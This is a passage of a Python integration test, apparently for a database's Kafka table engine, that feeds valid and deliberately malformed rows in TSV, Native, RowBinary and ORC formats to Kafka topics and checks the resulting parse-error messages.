'expected':'''{"raw_message":"id\\tblockNo\\tval1\\tval2\\tval3\\n0\\tBAD\\tAM\\t0.5\\t1\\n","error":"Cannot parse input: expected '\\\\t' before: 'BAD\\\\tAM\\\\t0.5\\\\t1\\\\n': Could not print diagnostic info because two last rows aren't in buffer (rare case)\\n"}''',
'supports_empty_value': True,
'printable':True,
},
'TSVWithNamesAndTypes': {
'data_sample': [
'id\tblockNo\tval1\tval2\tval3\nInt64\tUInt16\tString\tFloat32\tUInt8\n0\t0\tAM\t0.5\t1\n',
'id\tblockNo\tval1\tval2\tval3\nInt64\tUInt16\tString\tFloat32\tUInt8\n1\t0\tAM\t0.5\t1\n2\t0\tAM\t0.5\t1\n3\t0\tAM\t0.5\t1\n4\t0\tAM\t0.5\t1\n5\t0\tAM\t0.5\t1\n6\t0\tAM\t0.5\t1\n7\t0\tAM\t0.5\t1\n8\t0\tAM\t0.5\t1\n9\t0\tAM\t0.5\t1\n10\t0\tAM\t0.5\t1\n11\t0\tAM\t0.5\t1\n12\t0\tAM\t0.5\t1\n13\t0\tAM\t0.5\t1\n14\t0\tAM\t0.5\t1\n15\t0\tAM\t0.5\t1\n',
'id\tblockNo\tval1\tval2\tval3\nInt64\tUInt16\tString\tFloat32\tUInt8\n0\t0\tAM\t0.5\t1\n',
# broken message
'id\tblockNo\tval1\tval2\tval3\nInt64\tUInt16\tString\tFloat32\tUInt8\n0\tBAD\tAM\t0.5\t1\n',
],
'expected':'''{"raw_message":"id\\tblockNo\\tval1\\tval2\\tval3\\nInt64\\tUInt16\\tString\\tFloat32\\tUInt8\\n0\\tBAD\\tAM\\t0.5\\t1\\n","error":"Cannot parse input: expected '\\\\t' before: 'BAD\\\\tAM\\\\t0.5\\\\t1\\\\n': Could not print diagnostic info because two last rows aren't in buffer (rare case)\\n"}''',
'printable':True,
},
'Native': {
'data_sample': [
b'\x05\x01\x02\x69\x64\x05\x49\x6e\x74\x36\x34\x00\x00\x00\x00\x00\x00\x00\x00\x07\x62\x6c\x6f\x63\x6b\x4e\x6f\x06\x55\x49\x6e\x74\x31\x36\x00\x00\x04\x76\x61\x6c\x31\x06\x53\x74\x72\x69\x6e\x67\x02\x41\x4d\x04\x76\x61\x6c\x32\x07\x46\x6c\x6f\x61\x74\x33\x32\x00\x00\x00\x3f\x04\x76\x61\x6c\x33\x05\x55\x49\x6e\x74\x38\x01',
b'\x05\x0f\x02\x69\x64\x05\x49\x6e\x74\x36\x34\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x07\x62\x6c\x6f\x63\x6b\x4e\x6f\x06\x55\x49\x6e\x74\x31\x36\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x76\x61\x6c\x31\x06\x53\x74\x72\x69\x6e\x67\x02\x41\x4d\x02\x41\x4d\x02\x41\x4d\x02\x41\x4d\x02\x41\x4d\x02\x41\x4d\x02\x41\x4d\x02\x41\x4d\x02\x41\x4d\x02\x41\x4d\x02\x41\x4d\x02\x41\x4d\x02\x41\x4d\x02\x41\x4d\x02\x41\x4d\x04\x76\x61\x6c\x32\x07\x46\x6c\x6f\x61\x74\x33\x32\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x00\x00\x00\x3f\x04\x76\x61\x6c\x33\x05\x55\x49\x6e\x74\x38\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01',
b'\x05\x01\x02\x69\x64\x05\x49\x6e\x74\x36\x34\x00\x00\x00\x00\x00\x00\x00\x00\x07\x62\x6c\x6f\x63\x6b\x4e\x6f\x06\x55\x49\x6e\x74\x31\x36\x00\x00\x04\x76\x61\x6c\x31\x06\x53\x74\x72\x69\x6e\x67\x02\x41\x4d\x04\x76\x61\x6c\x32\x07\x46\x6c\x6f\x61\x74\x33\x32\x00\x00\x00\x3f\x04\x76\x61\x6c\x33\x05\x55\x49\x6e\x74\x38\x01',
# broken message
b'\x05\x01\x02\x69\x64\x05\x49\x6e\x74\x36\x34\x00\x00\x00\x00\x00\x00\x00\x00\x07\x62\x6c\x6f\x63\x6b\x4e\x6f\x06\x53\x74\x72\x69\x6e\x67\x03\x42\x41\x44\x04\x76\x61\x6c\x31\x06\x53\x74\x72\x69\x6e\x67\x02\x41\x4d\x04\x76\x61\x6c\x32\x07\x46\x6c\x6f\x61\x74\x33\x32\x00\x00\x00\x3f\x04\x76\x61\x6c\x33\x05\x55\x49\x6e\x74\x38\x01',
],
'expected':'''{"raw_message":"050102696405496E743634000000000000000007626C6F636B4E6F06537472696E67034241440476616C3106537472696E6702414D0476616C3207466C6F617433320000003F0476616C330555496E743801","error":"Cannot convert: String to UInt16"}''',
'printable':False,
},
'RowBinary': {
'data_sample': [
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01',
b'\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x0d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x0e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01',
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01',
# broken message
b'\x00\x00\x00\x00\x00\x00\x00\x00\x03\x42\x41\x44\x02\x41\x4d\x00\x00\x00\x3f\x01',
],
'expected':'{"raw_message":"00000000000000000342414402414D0000003F01","error":"Cannot read all data. Bytes read: 9. Bytes expected: 65.: (at row 1)\\n"}',
'printable':False,
},
'RowBinaryWithNamesAndTypes': {
'data_sample': [
b'\x05\x02\x69\x64\x07\x62\x6c\x6f\x63\x6b\x4e\x6f\x04\x76\x61\x6c\x31\x04\x76\x61\x6c\x32\x04\x76\x61\x6c\x33\x05\x49\x6e\x74\x36\x34\x06\x55\x49\x6e\x74\x31\x36\x06\x53\x74\x72\x69\x6e\x67\x07\x46\x6c\x6f\x61\x74\x33\x32\x05\x55\x49\x6e\x74\x38\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01',
b'\x05\x02\x69\x64\x07\x62\x6c\x6f\x63\x6b\x4e\x6f\x04\x76\x61\x6c\x31\x04\x76\x61\x6c\x32\x04\x76\x61\x6c\x33\x05\x49\x6e\x74\x36\x34\x06\x55\x49\x6e\x74\x31\x36\x06\x53\x74\x72\x69\x6e\x67\x07\x46\x6c\x6f\x61\x74\x33\x32\x05\x55\x49\x6e\x74\x38\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x0d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x0e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01',
b'\x05\x02\x69\x64\x07\x62\x6c\x6f\x63\x6b\x4e\x6f\x04\x76\x61\x6c\x31\x04\x76\x61\x6c\x32\x04\x76\x61\x6c\x33\x05\x49\x6e\x74\x36\x34\x06\x55\x49\x6e\x74\x31\x36\x06\x53\x74\x72\x69\x6e\x67\x07\x46\x6c\x6f\x61\x74\x33\x32\x05\x55\x49\x6e\x74\x38\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x41\x4d\x00\x00\x00\x3f\x01',
# broken message
b'\x05\x02\x69\x64\x07\x62\x6c\x6f\x63\x6b\x4e\x6f\x04\x76\x61\x6c\x31\x04\x76\x61\x6c\x32\x04\x76\x61\x6c\x33\x05\x49\x6e\x74\x36\x34\x06\x53\x74\x72\x69\x6e\x67\x06\x53\x74\x72\x69\x6e\x67\x07\x46\x6c\x6f\x61\x74\x33\x32\x05\x55\x49\x6e\x74\x38\x00\x00\x00\x00\x00\x00\x00\x00\x03\x42\x41\x44\x02\x41\x4d\x00\x00\x00\x3f\x01',
],
'expected':'{"raw_message":"0502696407626C6F636B4E6F0476616C310476616C320476616C3305496E74363406537472696E6706537472696E6707466C6F617433320555496E743800000000000000000342414402414D0000003F01","error":"Cannot read all data. Bytes read: 9. Bytes expected: 65.: (at row 1)\\n"}',
'printable':False,
},
'ORC': {
'data_sample': [
b'\x4f\x52\x43\x11\x00\x00\x0a\x06\x12\x04\x08\x01\x50\x00\x2b\x00\x00\x0a\x13\x0a\x03\x00\x00\x00\x12\x0c\x08\x01\x12\x06\x08\x00\x10\x00\x18\x00\x50\x00\x30\x00\x00\xe3\x12\xe7\x62\x65\x00\x01\x21\x3e\x0e\x46\x25\x0e\x2e\x46\x03\x21\x46\x03\x09\xa6\x00\x06\x00\x32\x00\x00\xe3\x92\xe4\x62\x65\x00\x01\x21\x01\x0e\x46\x25\x2e\x2e\x26\x47\x5f\x21\x20\x96\x60\x09\x60\x00\x00\x36\x00\x00\xe3\x92\xe1\x62\x65\x00\x01\x21\x61\x0e\x46\x23\x5e\x2e\x46\x03\x21\x66\x03\x3d\x53\x29\x10\x11\xc0\x00\x00\x2b\x00\x00\x0a\x13\x0a\x03\x00\x00\x00\x12\x0c\x08\x01\x12\x06\x08\x02\x10\x02\x18\x02\x50\x00\x05\x00\x00\xff\x00\x03\x00\x00\x30\x07\x00\x00\x40\x00\x80\x05\x00\x00\x41\x4d\x07\x00\x00\x42\x00\x80\x03\x00\x00\x0a\x07\x00\x00\x42\x00\x80\x05\x00\x00\xff\x01\x88\x00\x00\x4d\xca\xc1\x0a\x80\x30\x0c\x03\xd0\x2e\x6b\xcb\x98\x17\xf1\x14\x50\xfc\xff\xcf\xb4\x66\x1e\x3c\x84\x47\x9a\xce\x1c\xb9\x1b\xb7\xf9\xda\x48\x09\x9e\xb2\xf3\x92\xce\x5b\x86\xf6\x56\x7f\x21\x41\x2f\x51\xa6\x7a\xd7\x1d\xe5\xea\xae\x3d\xca\xd5\x83\x71\x60\xd8\x17\xfc\x62\x0f\xa8\x00\x00\xe3\x4a\xe6\x62\xe1\x60\x0c\x60\xe0\xe2\xe3\x60\x14\x62\xe3\x60\x10\x60\x90\x60\x08\x60\x88\x60\xe5\x12\xe0\x60\x54\xe2\xe0\x62\x34\x10\x62\x34\x90\x60\x02\x8a\x70\x71\x09\x01\x45\xb8\xb8\x98\x1c\x7d\x85\x80\x58\x82\x05\x28\xc6\xcd\x25\xca\xc1\x68\xc4\x0b\x52\xc5\x6c\xa0\x67\x2a\x05\x22\xc0\x4a\x21\x86\x31\x09\x30\x81\xb5\xb2\x02\x00\x36\x01\x00\x25\x8c\xbd\x0a\xc2\x30\x14\x85\x73\x6f\x92\xf6\x92\x6a\x09\x01\x21\x64\x92\x4e\x75\x91\x58\x71\xc9\x64\x27\x5d\x2c\x1d\x5d\xfd\x59\xc4\x42\x37\x5f\xc0\x17\xe8\x23\x9b\xc6\xe1\x3b\x70\x0f\xdf\xb9\xc4\xf5\x17\x5d\x41\x5c\x4f\x60\x37\xeb\x53\x0d\x55\x4d\x0b\x23\x01\xb9\x90\x2e\xbf\x0f\xe3\xe3\xdd\x8d\x0e\x5f\x4f\x27\x3e\xb7\x61\x97\xb2\x49\xb9\xaf\x90\x20\x92\x27\x32\x2a\x6b\xf4\xf3\x0d\x1e\x82\x20\xe8\x59\x28\x09\x4c\x46\x4c\x33\xcb\x7a\x76\x95\x41\x47\x9f\x14\x78\x03\xde\x62\x6c\x54\x30\xb1\x51\x0a\xdb\x8b\x89\x58\x11\xbb\x22\xac\x08\x9a\xe5\x6c\x71\xbf\x3d\xb8\x39\x92\xfa\x7f\x86\x1a\xd3\x54\x1e\xa7\xee\xcc\x7e\x08\x9e\x01\x10\x01\x18\x80\x80\x10\x22\x02\x00\x0c\x28\x57\x30\x06\x82\xf4\x03\x03\x4f\x52\x43\x18',
b'\x4f\x52\x43\x11\x00\x00\x0a\x06\x12\x04\x08\x0f\x50\x00\x2b\x00\x00\x0a\x13\x0a\x03\x00\x00\x00\x12\x0c\x08\x0f\x12\x06\x08\x00\x10\x00\x18\x00\x50\x00\x30\x00\x00\xe3\x12\xe7\x62\x65\x00\x01\x21\x3e\x0e\x7e\x25\x0e\x2e\x46\x43\x21\x46\x4b\x09\xad\x00\x06\x00\x33\x00\x00\x0a\x17\x0a\x03\x00\x00\x00\x12\x10\x08\x0f\x22\x0a\x0a\x02\x41\x4d\x12\x02\x41\x4d\x18\x3c\x50\x00\x3a\x00\x00\xe3\x92\xe1\x62\x65\x00\x01\x21\x61\x0e\x7e\x23\x5e\x2e\x46\x03\x21\x66\x03\x3d\x53\x29\x66\x73\x3d\xd3\x00\x06\x00\x2b\x00\x00\x0a\x13\x0a\x03\x00\x00\x00\x12\x0c\x08\x0f\x12\x06\x08\x02\x10\x02\x18\x1e\x50\x00\x05\x00\x00\x0c\x00\x2b\x00\x00\x31\x32\x33\x34\x35\x36\x37\x38\x39\x31\x30\x31\x31\x31\x32\x31\x33\x31\x34\x31\x35\x09\x00\x00\x06\x01\x03\x02\x09\x00\x00\xc0\x0e\x00\x00\x07\x00\x00\x42\x00\x80\x05\x00\x00\x41\x4d\x0a\x00\x00\xe3\xe2\x42\x01\x00\x09\x00\x00\xc0\x0e\x02\x00\x05\x00\x00\x0c\x01\x94\x00\x00\x2d\xca\xc1\x0e\x80\x30\x08\x03\xd0\xc1\x60\x2e\xf3\x62\x76\x6a\xe2\x0e\xfe\xff\x57\x5a\x3b\x0f\xe4\x51\xe8\x68\xbd\x5d\x05\xe7\xf8\x34\x40\x3a\x6e\x59\xb1\x64\xe0\x91\xa9\xbf\xb1\x97\xd2\x95\x9d\x1e\xca\x55\x3a\x6d\xb4\xd2\xdd\x0b\x74\x9a\x74\xf7\x12\x39\xbd\x97\x7f\x7c\x06\xbb\xa6\x8d\x97\x17\xb4\x00\x00\xe3\x4a\xe6\x62\xe1\xe0\x0f\x60\xe0\xe2\xe3\xe0\x17\x62\xe3\x60\x10\x60\x90\x60\x08\x60\x88\x60\xe5\x12\xe0\xe0\x57\xe2\xe0\x62\x34\x14\x62\xb4\x94\xd0\x02\x8a\xc8\x73\x09\x01\x45\xb8\xb8\x98\x1c\x7d\x85\x80\x58\xc2\x06\x28\x26\xc4\x25\xca\xc1\x6f\xc4\xcb\xc5\x68\x20\xc4\x6c\xa0\x67\x2a\xc5\x6c\xae\x67\x0a\x14\xe6\x87\x1a\xc6\x24\xc0\x24\x21\x07\x32\x0c\x00\x4a\x01\x00\xe3\x60\x16\x58\xc3\x24\xc5\xcd\xc1\x2c\x30\x89\x51\xc2\x4b\xc1\x57\x83\x5f\x49\x83\x83\x47\x88\x95\x91\x89\x99\x85\x55\x8a\x3d\x29\x27\x3f\x39\xdb\x2f\x5f\x8a\x29\x33\x45\x8a\xa5\x2c\x31\xc7\x10\x4c\x1a\x81\x49\x63\x25\x26\x0e\x46\x20\x66\x07\x63\x36\x0e\x3e\x0d\x26\x03\x10\x9f\xd1\x80\xdf\x8a\x85\x83\x3f\x80\xc1\x8a\x8f\x83\x5f\x88\x8d\x83\x41\x80\x41\x82\x21\x80\x21\x82\xd5\x4a\x80\x83\x5f\x89\x83\x8b\xd1\x50\x88\xd1\x52\x42\x0b\x28\x22\x6f\x25\x04\x14\xe1\xe2\x62\x72\xf4\x15\x02\x62\x09\x1b\xa0\x98\x90\x95\x28\x07\xbf\x11\x2f\x17\xa3\x81\x10\xb3\x81\x9e\xa9\x14\xb3\xb9\x9e\x29\x50\x98\x1f\x6a\x18\x93\x00\x93\x84\x1c\xc8\x30\x87\x09\x7e\x1e\x0c\x00\x08\xa8\x01\x10\x01\x18\x80\x80\x10\x22\x02\x00\x0c\x28\x5d\x30\x06\x82\xf4\x03\x03\x4f\x52\x43\x18',
b'\x4f\x52\x43\x11\x00\x00\x0a\x06\x12\x04\x08\x01\x50\x00\x2b\x00\x00\x0a\x13\x0a\x03\x00\x00\x00\x12\x0c\x08\x01\x12\x06\x08\x00\x10\x00\x18\x00\x50\x00\x30\x00\x00\xe3\x12\xe7\x62\x65\x00\x01\x21\x3e\x0e\x46\x25\x0e\x2e\x46\x03\x21\x46\x03\x09\xa6\x00\x06\x00\x32\x00\x00\xe3\x92\xe4\x62\x65\x00\x01\x21\x01\x0e\x46\x25\x2e\x2e\x26\x47\x5f\x21\x20\x96\x60\x09\x60\x00\x00\x36\x00\x00\xe3\x92\xe1\x62\x65\x00\x01\x21\x61\x0e\x46\x23\x5e\x2e\x46\x03\x21\x66\x03\x3d\x53\x29\x10\x11\xc0\x00\x00\x2b\x00\x00\x0a\x13\x0a\x03\x00\x00\x00\x12\x0c\x08\x01\x12\x06\x08\x02\x10\x02\x18\x02\x50\x00\x05\x00\x00\xff\x00\x03\x00\x00\x30\x07\x00\x00\x40\x00\x80\x05\x00\x00\x41\x4d\x07\x00\x00\x42\x00\x80\x03\x00\x00\x0a\x07\x00\x00\x42\x00\x80\x05\x00\x00\xff\x01\x88\x00\x00\x4d\xca\xc1\x0a\x80\x30\x0c\x03\xd0\x2e\x6b\xcb\x98\x17\xf1\x14\x50\xfc\xff\xcf\xb4\x66\x1e\x3c\x84\x47\x9a\xce\x1c\xb9\x1b\xb7\xf9\xda\x48\x09\x9e\xb2\xf3\x92\xce\x5b\x86\xf6\x56\x7f\x21\x41\x2f\x51\xa6\x7a\xd7\x1d\xe5\xea\xae\x3d\xca\xd5\x83\x71\x60\xd8\x17\xfc\x62\x0f\xa8\x00\x00\xe3\x4a\xe6\x62\xe1\x60\x0c\x60\xe0\xe2\xe3\x60\x14\x62\xe3\x60\x10\x60\x90\x60\x08\x60\x88\x60\xe5\x12\xe0\x60\x54\xe2\xe0\x62\x34\x10\x62\x34\x90\x60\x02\x8a\x70\x71\x09\x01\x45\xb8\xb8\x98\x1c\x7d\x85\x80\x58\x82\x05\x28\xc6\xcd\x25\xca\xc1\x68\xc4\x0b\x52\xc5\x6c\xa0\x67\x2a\x05\x22\xc0\x4a\x21\x86\x31\x09\x30\x81\xb5\xb2\x02\x00\x36\x01\x00\x25\x8c\xbd\x0a\xc2\x30\x14\x85\x73\x6f\x92\xf6\x92\x6a\x09\x01\x21\x64\x92\x4e\x75\x91\x58\x71\xc9\x64\x27\x5d\x2c\x1d\x5d\xfd\x59\xc4\x42\x37\x5f\xc0\x17\xe8\x23\x9b\xc6\xe1\x3b\x70\x0f\xdf\xb9\xc4\xf5\x17\x5d\x41\x5c\x4f\x60\x37\xeb\x53\x0d\x55\x4d\x0b\x23\x01\xb9\x90\x2e\xbf\x0f\xe3\xe3\xdd\x8d\x0e\x5f\x4f\x27\x3e\xb7\x61\x97\xb2\x49\xb9\xaf\x90\x20\x92\x27\x32\x2a\x6b\xf4\xf3\x0d\x1e\x82\x20\xe8\x59\x28\x09\x4c\x46\x4c\x33\xcb\x7a\x76\x95\x41\x47\x9f\x14\x78\x03\xde\x62\x6c\x54\x30\xb1\x51\x0a\xdb\x8b\x89\x58\x11\xbb\x22\xac\x08\x9a\xe5\x6c\x71\xbf\x3d\xb8\x39\x92\xfa\x7f\x86\x1a\xd3\x54\x1e\xa7\xee\xcc\x7e\x08\x9e\x01\x10\x01\x18\x80\x80\x10\x22\x02\x00\x0c\x28\x57\x30\x06\x82\xf4\x03\x03\x4f\x52\x43\x18',
# broken message
b'\x4f\x52\x43\x0a\x0b\x0a\x03\x00\x00\x00\x12\x04\x08\x01\x50\x00\x0a\x15\x0a\x05\x00\x00\x00\x00\x00\x12\x0c\x08\x01\x12\x06\x08\x00\x10\x00\x18\x00\x50\x00\x0a\x12\x0a\x06\x00\x00\x00\x00\x00\x00\x12\x08\x08\x01\x42\x02\x08\x06\x50\x00\x0a\x12\x0a\x06\x00\x00\x00\x00\x00\x00\x12\x08\x08\x01\x42\x02\x08\x04\x50\x00\x0a\x29\x0a\x04\x00\x00\x00\x00\x12\x21\x08\x01\x1a\x1b\x09\x00\x00\x00\x00\x00\x00\xe0\x3f\x11\x00\x00\x00\x00\x00\x00\xe0\x3f\x19\x00\x00\x00\x00\x00\x00\xe0\x3f\x50\x00\x0a\x15\x0a\x05\x00\x00\x00\x00\x00\x12\x0c\x08\x01\x12\x06\x08\x02\x10\x02\x18\x02\x50\x00\xff\x80\xff\x80\xff\x00\xff\x80\xff\x03\x42\x41\x44\xff\x80\xff\x02\x41\x4d\xff\x80\x00\x00\x00\x3f\xff\x80\xff\x01\x0a\x06\x08\x06\x10\x00\x18\x0d\x0a\x06\x08\x06\x10\x01\x18\x17\x0a\x06\x08\x06\x10\x02\x18\x14\x0a\x06\x08\x06\x10\x03\x18\x14\x0a\x06\x08\x06\x10\x04\x18\x2b\x0a\x06\x08\x06\x10\x05\x18\x17\x0a\x06\x08\x00\x10\x00\x18\x02\x0a\x06\x08\x00\x10\x01\x18\x02\x0a\x06\x08\x01\x10\x01\x18\x02\x0a\x06\x08\x00\x10\x02\x18\x02\x0a\x06\x08\x02\x10\x02\x18\x02\x0a\x06\x08\x01\x10\x02\x18\x03\x0a\x06\x08\x00\x10\x03\x18\x02\x0a\x06\x08\x02\x10\x03\x18\x02\x0a\x06\x08\x01\x10\x03\x18\x02\x0a\x06\x08\x00\x10\x04\x18\x02\x0a\x06\x08\x01\x10\x04\x18\x04\x0a\x06\x08\x00\x10\x05\x18\x02\x0a\x06\x08\x01\x10\x05\x18\x02\x12\x04\x08\x00\x10\x00\x12\x04\x08\x00\x10\x00\x12\x04\x08\x00\x10\x00\x12\x04\x08\x00\x10\x00\x12\x04\x08\x00\x10\x00\x12\x04\x08\x00\x10\x00\x1a\x03\x47\x4d\x54\x0a\x59\x0a\x04\x08\x01\x50\x00\x0a\x0c\x08\x01\x12\x06\x08\x00\x10\x00\x18\x00\x50\x00\x0a\x08\x08\x01\x42\x02\x08\x06\x50\x00\x0a\x08\x08\x01\x42\x02\x08\x04\x50\x00\x0a\x21\x08\x01\x1a\x1b\x09\x00\x00\x00\x00\x00\x00\xe0\x3f\x11\x00\x00\x00\x00\x00\x00\xe0\x3f\x19\x00\x00\x00\x00\x00\x00\xe0\x3f\x50\x00\x0a\x0c\x08\x01\x12\x06\x08\x02\x10\x02\x18\x02\x50\x00\x08\x03\x10\xec\x02\x1a\x0c\x08\x03\x10\x8e\x01\x18\x1d\x20\xc1\x01\x28\x01\x22\x2e\x08\x0c\x12\x05\x01\x02\x03\x04\x05\x1a\x02\x69\x64\x1a\x07\x62\x6c\x6f\x63\x6b\x4e\x6f\x1a\x04\x76\x61\x6c\x31\x1a\x04\x76\x61\x6c\x32\x1a\x04\x76\x61\x6c\x33\x20\x00\x28\x00\x30\x00\x22\x08\x08\x04\x20\x00\x28\x00\x30\x00\x22\x08\x08\x08\x20\x00\x28\x00\x30\x00\x22\x08\x08\x08\x20\x00\x28\x00\x30\x00\x22\x08\x08\x05\x20\x00\x28\x00\x30\x00\x22\x08\x08\x01\x20\x00\x28\x00\x30\x00\x30\x01\x3a\x04\x08\x01\x50\x00\x3a\x0c\x08\x01\x12\x06\x08\x00\x10\x00\x18\x00\x50\x00\x3a\x08\x08\x01\x42\x02\x08\x06\x50\x00\x3a\x08\x08\x01\x42\x02\x08\x04\x50\x00\x3a\x21\x08\x01\x1a\x1b\x09\x00\x00\x00\x00\x00\x00\xe0\x3f\x11\x00\x00\x00\x00\x00\x00\xe0\x3f\x19\x00\x00\x00\x00\x00\x00\xe0\x3f\x50\x00\x3a\x0c\x08\x01\x12\x06\x08\x02\x10\x02\x18\x02\x50\x00\x40\x90\x4e\x48\x01\x08\xd5\x01\x10\x00\x18\x80\x80\x04\x22\x02\x00\x0b\x28\x5b\x30\x06\x82\xf4\x03\x03\x4f\x52\x43\x18',
],
'expected':r'''{"raw_message":"4F52430A0B0A030000001204080150000A150A050000000000120C0801120608001000180050000A120A06000000000000120808014202080650000A120A06000000000000120808014202080450000A290A0400000000122108011A1B09000000000000E03F11000000000000E03F19000000000000E03F50000A150A050000000000120C080112060802100218025000FF80FF80FF00FF80FF03424144FF80FF02414DFF800000003FFF80FF010A0608061000180D0A060806100118170A060806100218140A060806100318140A0608061004182B0A060806100518170A060800100018020A060800100118020A060801100118020A060800100218020A060802100218020A060801100218030A060800100318020A060802100318020A060801100318020A060800100418020A060801100418040A060800100518020A060801100518021204080010001204080010001204080010001204080010001204080010001204080010001A03474D540A590A04080150000A0C0801120608001000180050000A0808014202080650000A0808014202080450000A2108011A1B09000000000000E03F11000000000000E03F19000000000000E03F50000A0C080112060802100218025000080310EC021A0C0803108E01181D20C1012801222E080C120501020304051A0269641A07626C6F636B4E6F1A0476616C311A0476616C321A0476616C33200028003000220808042000280030002208080820002800300022080808200028003000220808052000280030002208080120002800300030013A04080150003A0C0801120608001000180050003A0808014202080650003A0808014202080450003A2108011A1B09000000000000E03F11000000000000E03F19000000000000E03F50003A0C08011206080210021802500040904E480108D5011000188080042202000B285B300682F403034F524318","error":"Cannot parse string 'BAD' as UInt16: syntax error at begin of string. Note: there are toUInt16OrZero and toUInt16OrNull functions, which returns zero\/NULL instead of throwing exception."}''',
'printable':False,
}
}
topic_name_prefix = 'format_tests_4_stream_'
for format_name, format_opts in list(all_formats.items()):
logging.debug(f'Set up {format_name}')
topic_name = f"{topic_name_prefix}{format_name}"
data_sample = format_opts['data_sample']
data_prefix = []
raw_message = '_raw_message'
# prepend empty value when supported
if format_opts.get('supports_empty_value', False):
data_prefix = data_prefix + ['']
if format_opts.get('printable', False) == False:
raw_message = 'hex(_raw_message)'
kafka_produce(kafka_cluster, topic_name, data_prefix + data_sample)
instance.query('''
DROP TABLE IF EXISTS test.kafka_{format_name};
CREATE TABLE test.kafka_{format_name} (
id Int64,
blockNo UInt16,
val1 String,
val2 Float32,
val3 UInt8
) ENGINE = Kafka()
SETTINGS kafka_broker_list = 'kafka1:19092',
kafka_topic_list = '{topic_name}',
kafka_group_name = '{topic_name}',
kafka_format = '{format_name}',
kafka_handle_error_mode = 'stream',
kafka_flush_interval_ms = 1000 {extra_settings};
DROP TABLE IF EXISTS test.kafka_data_{format_name}_mv;
